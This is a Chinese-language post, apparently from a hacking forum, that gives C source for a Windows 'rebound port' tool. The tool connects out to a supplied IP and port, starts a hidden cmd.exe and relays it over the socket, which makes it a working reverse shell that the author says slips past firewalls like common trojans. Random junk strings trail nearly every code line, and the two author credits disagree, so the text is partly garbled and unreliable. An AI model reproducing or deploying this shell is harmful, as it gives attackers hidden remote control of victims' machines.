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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x:xQXjJ  
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/* ============================== m|k,8guG  
Rebound port in Windows NT 7Av]f3Zr  
By wind,2006/7 4Y2>w  
===============================*/ 4L0LT>'M\  
#include c"xaN  
#include pIXQ/(h31  
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#pragma comment(lib,"wsock32.lib") .DQ]q o]OG  
^#o.WL%4/B  
void OutputShell(); u *< (B  
SOCKET sClient; ?Y9?x,x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QKO(8D6+  
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void main(int argc,char **argv) SS`C0&I@p  
{ :wZZ 1qa  
WSADATA stWsaData; by<2hLB9Q  
int nRet; (tgaH,G  
SOCKADDR_IN stSaiClient,stSaiServer; hq BRh+[  
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if(argc != 3) J3]m*i5A  
{ $enh45Wy  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;w>B}v;RE  
return; <wC1+/]  
} b$`O|S  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^wlep1D  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PG!vn@b6  
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stSaiClient.sin_family = AF_INET; <fJ\AP5  
stSaiClient.sin_port = htons(0); zN1;v6;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,b4&$W].  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X&IY(CX  
{ Q?@G>uz  
printf("Bind Socket Failed!\n"); 2}b bdXx  
return; v4$,Vt:7  
} .tNB07=7  
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stSaiServer.sin_family = AF_INET; #!/Nmd=Nj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .kIf1-(<U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J^:~#`8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (R-Q9F+;  
{ ~'3% Qr  
printf("Connect Error!"); ooQ(bF  
return; B^9 #X5!  
} .yPx'_e  
OutputShell(); Vz*'^=(o&  
} U&R$(k0zS  
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void OutputShell() BXY'%8q _a  
{ \Hd B   
char szBuff[1024]; 5b,98Q  
SECURITY_ATTRIBUTES stSecurityAttributes; '_)t R;s  
OSVERSIONINFO stOsversionInfo; c &HoS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *$VurqLn  
STARTUPINFO stStartupInfo; 6ZBD$1$A!  
char *szShell; /`> P|J  
PROCESS_INFORMATION stProcessInformation; sXxO{aeev  
unsigned long lBytesRead; GHY>DrXO1u  
K }BX6dA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w C"%b#(}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &u-Bu;G.e  
stSecurityAttributes.lpSecurityDescriptor = 0; k 9rnT)YU  
stSecurityAttributes.bInheritHandle = TRUE; $nn5;11@gY  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @_3$(*n$~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x(=x;X$[^  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?W_U{=anl  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @g~sgE}#  
stStartupInfo.wShowWindow = SW_HIDE; aehMLl9cl  
stStartupInfo.hStdInput = hReadPipe; `'WLGQG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Kf#!IY][  
5eA]7$ic  
GetVersionEx(&stOsversionInfo); 99K+7G\{  
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switch(stOsversionInfo.dwPlatformId) ISew]R2  
{ 7`HUwu  
case 1: /&7Yi_]r  
szShell = "command.com"; fx:KH:q3  
break; (N4(r<o;  
default: 'OCo1|iK~  
szShell = "cmd.exe"; %<yM=1~>  
break; M7,MxwZ0k  
} >N-%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +;;%Atgn  
}8 _9V|E  
send(sClient,szMsg,77,0); J_ |x^  
while(1) (B<AK4G  
{ KTt$Pt/.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xkom@F~]  
if(lBytesRead) (14kR  
{ B}+9U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uFZB8+  
send(sClient,szBuff,lBytesRead,0); x35s6  
} [dlH t;S  
else .N&}<T[  
{ _9|@nUD  
lBytesRead=recv(sClient,szBuff,1024,0); G6{A[O[  
if(lBytesRead<=0) break; RI3{>|*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |wQZ~Ux:  
} ue<<Y"NR  
} P1stL,  
F  t/ x 5  
return; s$x] fO  
}
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